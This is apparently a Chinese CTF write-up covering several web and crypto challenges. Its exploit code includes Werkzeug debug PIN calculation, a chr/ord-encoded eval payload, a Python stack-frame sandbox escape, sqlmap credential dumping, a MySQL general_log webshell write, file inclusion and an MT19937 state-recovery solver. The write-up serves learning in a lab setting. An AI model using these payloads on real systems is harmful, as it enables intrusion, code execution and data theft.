执行0=system和post发包1=cat /flag

然后ctrl+s保存图片用记事本看得到flag

20

hacked_website(复现)

当时扫到了www.zip,下载可以看文件,然后就没思路了当时没想到用d盾扫一下

21

可以发现是有后面的,定位一下关键文件

文件里有这个门

 <?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?>

/admin里面登陆一下,fuzz一下密码

22

到对应的php里面输入得到flag明明挺简单的为什么没想到解法,当时全在往typecho的cve里面想

23

顰(复现)

应该考察的就是算pin,写题的时候其他的数据都找到了没找到console,不明白为什么不触发orz

官p给了一个链接调试应用程序 — Werkzeug 中文文档 (3.0.x) (palletsprojects.com)

By default, , any subdomain, and are trusted. will trust its argument as well. To change this further, use the debug middleware directly rather than through .localhost.localhost127.0.0.1run_simplehostnameuse_debugger=True

需要host是127.0.0.1添加header Host:127.0.0.1剩余的正常都可以找到

24

/sys/class/net/eth0/address---->b6:45:6c:7d:2e:b1 #mac
/proc/sys/kernel/random/boot_id----->d45a88e1-3fe4-4156-9e59-3864587b7c87 #private
/proc/self/cgroup		----->0::/ 
/../../../../../../../etc/passwd----->root:x:0:0:root:/root:/bin/  #pub
/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py #挨个试

算pin的exp

import hashlib
from itertools import chain


def mac_to_decimal(mac_address):
    hex_pairs = mac_address.split(':')
    decimal_value = 0
    # 将每个十六进制对转换为十进制并累加
    for hex_pair in hex_pairs:
        decimal_value = (decimal_value << 8) + int(hex_pair, 16)
    return decimal_value


mac_address = "b6:45:6c:7d:2e:b1"  # /sys/class/net/eth0/address

# 调用函数将 MAC 地址转换为十进制数值
mac = str(mac_to_decimal(mac_address))

probably_public_bits = [
    'root'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    mac,  # mac地址十进制
    'd45a88e1-3fe4-4156-9e59-3864587b7c87'
    # /proc/sys/kernel/random/boot_id + /proc/self/cgroup  (name=systemd:) /proc/self/cgroup为空不用看
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

因为每个请求都要host,可以看源码提交

?__debugger__=yes&cmd=pinauth&pin=293-579-492&s=EiqMhkW0qaOHzFnqNEn3

获取cookie

__wzd6bde80ed812309855c21=1730390066|aad426b2f48c

25

week4

crypto

MT19937

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import ast

class MT19937:
    def __init__(self, state=None):
        self.w, self.n, self.m, self.r = 32, 624, 397, 31
        self.a = 0x9908B0DF
        self.u, self.d = 11, 0xFFFFFFFF
        self.s, self.b = 7, 0x9D2C5680
        self.t, self.c = 15, 0xEFC60000
        self.l = 18
        self.index = self.n

        if state:
            # 确保状态数组长度为624
            self.MT = list(state)
            while len(self.MT) < self.n:
                self.MT.append(0)
            self.MT = self.MT[:self.n]
        else:
            self.MT = [0] * self.n
    def twist(self):
        lower_mask = (1 << self.r) - 1
        upper_mask = (~lower_mask) & 0xFFFFFFFF

        for i in range(self.n):
            x = (self.MT[i] & upper_mask) | (self.MT[(i + 1) % self.n] & lower_mask)
            xA = x >> 1
            if x & 1:
                xA ^= self.a
            self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA
        self.index = 0

    def extract_number(self):
        if self.index >= self.n:
            self.twist()

        y = self.MT[self.index]
        y = y ^ ((y >> self.u) & self.d)
        y = y ^ ((y << self.s) & self.b)
        y = y ^ ((y << self.t) & self.c)
        y = y ^ (y >> self.l)

        self.index += 1
        return y & 0xFFFFFFFF


def untemper(y):
    y = y & 0xFFFFFFFF

    # Reverse right shift 18
    y = y ^ (y >> 18)

    # Reverse left shift 15 and mask
    temp = y
    for i in range(2):
        temp = y ^ ((temp << 15) & 0xEFC60000)
    y = temp

    # Reverse left shift 7 and mask
    temp = y
    for i in range(4):
        temp = y ^ ((temp << 7) & 0x9D2C5680)
    y = temp

    # Reverse right shift 11
    temp = y
    for i in range(3):
        temp = y ^ (temp >> 11)
    y = temp

    return y & 0xFFFFFFFF


def predict_next(outputs, num_predict):
    state = [untemper(x) for x in outputs]
    mt = MT19937(state)

    predicted = []
    for _ in range(num_predict):
        predicted.append(mt.extract_number())
    return predicted


def solve():
    # Read data.txt
    with open('data.txt', 'r') as f:
        lines = f.readlines()
        K1_outputs = ast.literal_eval(lines[0].strip())
        K2_outputs = ast.literal_eval(lines[1].strip())
        c1 = ast.literal_eval(lines[2].strip())
        c2 = ast.literal_eval(lines[3].strip())

    print("Length of K1_outputs:", len(K1_outputs))
    print("Length of K2_outputs:", len(K2_outputs))

    # Calculate cal values
    # 对于K1,我们使用全部624个状态
    cal1 = 0
    next_nums1 = predict_next(K1_outputs, 624)
    cal1 = sum(next_nums1)
    print("cal1 calculated:", cal1)

    # 对于K2,我们只使用前600个状态,但仍需预测156个数
    cal2 = 0
    next_nums2 = predict_next(K2_outputs, 156)  # 624//4 = 156
    cal2 = sum(next_nums2)
    print("cal2 calculated:", cal2)

    def decrypt(cal, ciphertext):
        key = hashlib.sha256(str(cal).encode()).digest()
        cipher = AES.new(key, AES.MODE_ECB)
        return unpad(cipher.decrypt(ciphertext), 16)

    try:
        print("Attempting decryption...")
        m1 = decrypt(cal1, bytes(c1))
        m2 = decrypt(cal2, bytes(c2))
        flag = m1 + m2
        return flag
    except Exception as e:
        print(f"Decryption error: {e}")
        print(f"cal1: {cal1}")
        print(f"cal2: {cal2}")
        return None


if __name__ == '__main__':
    print("Starting solver...")
    flag = solve()
    if flag:
        try:
            print("Flag:", flag.decode())
        except:
            print("Flag (raw):", flag)
    else:
        print("Failed to recover flag")

web(复现)

0进制计算器

from flask import Flask, render_template, request, jsonify
  
app = Flask(__name__)  
  
@app.route('/')  
def home():  
    return render_template('index.html') 

@app.route('/execute', methods=['POST'])  
def execute_code():  
    data = request.json  
    code = data.get('code', '')  
    output = executer(code)
    return output   

from contextlib import redirect_stdout
from io import StringIO

class StupidInterpreter:  
    def __init__(self):  
        self.variables = {}
        
    def interpret(self, code):  
        if self.checker(code) == False:
            print("有脏东西!")
            return("")
        commands = code.split(';')  
        for command in commands:
            command = command.strip()  
            if command:  
                self.execute_command(command)  
  
    def execute_command(self, command):  
        if '=' in command:  
            variable, expression = command.split('=', 1)  
            variable = variable.strip()  
            result = self.evaluate_expression(expression.strip())  
            self.variables[variable] = result  
        #执行打印操作
        elif command.startswith('cdhor(') and command.endswith(')'):
            expression = command[6:-1].strip()  
            result = self.evaluate_expression(expression)  
            print(result)  
        else:  
            print(f"未知指令: {command}")  
            return("")
    def evaluate_expression(self, expression):  
        for var, value in self.variables.items():  
            expression = expression.replace(var, str(value))  
        try:  
            return eval(expression, {}, {})
        except Exception as e:  
            print(f"执行出错: {e}")  
            return None  
                
    def checker(self, string):
        try:
            string.encode("ascii")
        except UnicodeEncodeError:
            return False 
        allow_chr = '0cdhor+-*/=()"\'; '
        for char in string:  
            if char not in allow_chr:  
                return False    

def executer(code):
    outputIO = StringIO()
    interpreter = StupidInterpreter()  
    with redirect_stdout(outputIO):
        interpreter.interpret(code)
    output = outputIO.getvalue()
    return(output)
    
if __name__ == '__main__':  
    app.run(debug=False)
        allow_chr = '0cdhor+-*/=()"\'; '

这是运行通过的字符,eval可以执行的一是"=“号右侧的部分,二是cdhor()内的部分

cdhor刚好可以组成chr和ord,可以利用这两个函数来组成任意字符。chr(ord())形式的代码可以在等号右侧被转换为需要执行的代码后,再经过cdhor()执行并输出结果

def generate_char(char):
    char_ascii_bin = str(bin(ord(char)))
    result = []
    index = len(char_ascii_bin) - 1
    for a in char_ascii_bin:
        if index == 0 and a == "1":
            result.append("(ord('*')-ord(')'))")
            break
        if index != 0 and a == "1":
            mid_res = ["(ord('*')-ord('('))" for i in range(index)]
            result.append("*".join(mid_res))
        index -= 1
    return("+".join(result))

def generate_sentence(string):
    char_expressions = ["chr(" + generate_char(char) + ")" for char in string]
    sentence_expression = "+".join(char_expressions)
    return(sentence_expression)

# 定义字符串
sentence = """__import__('os').popen('cat /fl44gggg').read()"""

# 生成表达式
generated_expression = generate_sentence(sentence)

# 打印生成的表达式
print("Generated Expression:")
print(generated_expression)

# 执行并打印结果
result = eval(generated_expression)
print("\nExecution Result:")
print(result)

26

解密脚本的大致原理是设定了权值,将代码转化为ASCII再转化为二进制的形式,按照给定的权值进行转化,最后再拼接,本地可以测试测试。

0进制计算器 pro max

先上源码

from flask import Flask, render_template, request, jsonify
from contextlib import redirect_stdout
from io import StringIO
from sys import addaudithook

audit_enabled = False
dangerous_operation_detected = False

app = Flask(__name__)  
  
@app.route('/')  
def home():  
    return render_template('index.html') 

@app.route('/execute', methods=['POST'])  
def execute_code():  
    data = request.json  
    code = data.get('code', '')  
    output = executer(code)
    return output   

dangerous_operations = [
    "marshal", "__new__", "process", "os", "sys", "interpreter", "open", 
    "cpython", "compile", "gc"
]
dangerous_strings = ["__", "getattr", "exit"]
dangerous_opcodes = ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]
allowed_functions = ["print"]

class CleverInterpreter:  
    def __init__(self):  
        self.variables = {}
        
    def interpret(self, code):  
        if self.checker(code) == False:
            print("有脏东西!")
            return("")
        commands = code.split(';')  
        for command in commands:  
            command = command.strip()  
            if command:  
                self.execute_command(command)  
  
    def execute_command(self, command):  
        if '=' in command:  
            variable, expression = command.split('=', 1)  
            variable = variable.strip()  
            result = self.evaluate_expression(expression.strip())  
            self.variables[variable] = result  
        # 执行打印操作
        elif command.startswith('cdhor(') and command.endswith(')'):
            expression = command[6:-1].strip()  
            result = self.safe_executer('print(' + expression + ')')  
            print(result)  
        else:  
            print(f"未知指令: {command}")  
            return("")
            
    def evaluate_expression(self, expression):  
        for var, value in self.variables.items():  
            expression = expression.replace(var, str(value))  
        try:  
            return eval(expression, {}, {})
        except Exception as e:  
            print(f"执行出错: {e}")  
            return None 
            
    def safe_executer(self, expression):    
        global audit_enabled
        output = ""
        
        def exec_code(code):
            outputIO = StringIO()
            with redirect_stdout(outputIO):
                exec(code, {
                    "__builtins__": None,
                    "print": print
                }, None)
            output = outputIO.getvalue()
            return output
            
        for var, value in self.variables.items():  
            expression = expression.replace(var, str(value))  
            
        if self.clever_checker(expression) == False:
            return("大傻春 你要干什么!")
            
        code = compile(expression, "<sandbox>", "exec")
        # 启用审计
        audit_enabled = True
        try:  
            output = exec_code(code)
        except Exception as e:  
            print(f"执行出错: {e}")  
        finally:
            # 关闭审计
            audit_enabled = False
            
        return output
            
    def checker(self, code):
        allow_chr = '0cdhor+-*/=()"\'; '
        for char in code:  
            if char not in allow_chr:  
                return False    
        
    def clever_checker(self, code):
        def simple_checker(source):
            try:
                source.encode("ascii")
            except UnicodeEncodeError:
                return False

            for dangerous in dangerous_strings:
                if dangerous in source.lower():
                    print(dangerous)
                    return False

            return True

        def opcode_checker(code):
            from dis import dis
            from io import StringIO

            opcode_output = StringIO()
            dis(code, file=opcode_output)
            opcodes = opcode_output.getvalue().splitlines()
            opcode_output.close()

            for line in opcodes:
                if any(opcode in line for opcode in dangerous_opcodes):
                    if any(func in line for func in allowed_functions):
                        continue
                    print("".join(opcode for opcode in dangerous_opcodes if opcode in line))
                    return False

            return True
            
        return simple_checker(code) and opcode_checker(code)
def block_wrapper():
    def audit(event, args):
        global audit_enabled, dangerous_operation_detected
        dangerous_operation_detected = False
        if audit_enabled:
            event_info = event + "".join(str(arg) for arg in args)
            event_info_lower = event_info.lower()
            for dangerous in dangerous_operations:
                if dangerous in event_info_lower:
                    global  dangerous_operation
                    dangerous_operation_detected = True
                    dangerous_operation = dangerous
                    return
        else:
            return
    return audit


def executer(code):
    outputIO = StringIO()
    interpreter = CleverInterpreter()  
    with redirect_stdout(outputIO):
        interpreter.interpret(code)
    output = outputIO.getvalue()
    if dangerous_operation_detected:
        output = ""
        return ("危险操作: " + dangerous_operation)
    else:
        return(output)
    
if __name__ == '__main__':  
    addaudithook(block_wrapper())
    app.run(debug=False, port=80, host="0.0.0.0")

参考文章https://www.cnblogs.com/gaorenyusi/p/18242719

考察的是python栈帧沙箱逃逸(妹听过啊)

三个安全模块是通过遍历下面三个列表对代码进行过滤的,而通过栈帧逃逸,我们可以访问到全局变量,因此只需要获取到全局变量表,将下面三个列表设为空即可

dangerous_operations = [
    "marshal", "__new__", "process", "os", "sys", "interpreter", "open", 
    "cpython", "compile", "gc"
]
dangerous_strings = ["__", "getattr", "exit"]
dangerous_opcodes = ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]

注意要把题目里的print闭合,官p说的是在前面的改

先输入

sentence = """0)
def exp():
    def scq():
        yield scq.gi_frame.f_back
    scq = scq()
    frame = [x for x in scq][0]
    frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
    frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
    frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
exp()
print(0
"""

27

设置完成后就可以直接读取flag

sentence = """0)
def exp():
    def scq():
        yield scq.gi_frame.f_back
    scq = scq()
    frame = [x for x in scq][0]
    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    open = gattr.open
    print(open("/fl44gggg", "r").read())
exp()
print(0
"""

28

只是浮现了一下,知识点会放在学习计划中

可恶的骗子

官方给了两个解法都学习一下

0x01

29

聊天记录内url拼接到靶机,显示用手机打开,使用手机ua进行访问

ClickID参数单引号报错,存在sql注入

构造一个ua头

Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36
/Xianyu_goods/index.php?ClickID=161'

加个单引号发现有sql的报错

用sqlmap跑一下看看

python sqlmap.py -u http://210.44.150.15:36930/Xianyu_goods/index.php?ClickID=161 --user-agent='Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36' -D root -T admin_user --dump

最后的数据是

30

root::shctf_xianyu_password登入后台

具体getshell流程可以参考这篇phpMyAdmin利用日志文件GetSHELL-腾讯云开发者社区-腾讯云

登陆后使用日志写入php代码,首先启用日志

Set global general_log = on;

接着设置日志路径,扫描后发现Xianyu_goods下有go.php

Set global general_log_file = '/var/www/html/Xianyu_goods/go.php';

然后执行

select '<?php system("cat /flag"); ?>';

最后进入对应界面就好了

31

0x02

根据聊天记录,网上搜索仿咸鱼 转转 交易猫系统源码等关键字,找到此系统源码

下载后使用工具进行审计,发现index.php存在文件包含,通过HTTP参数控制

文件自己审查一下,用常用的工具审一遍。

/Xianyu_goods/index.php?ClickID=161&HTYP=/flag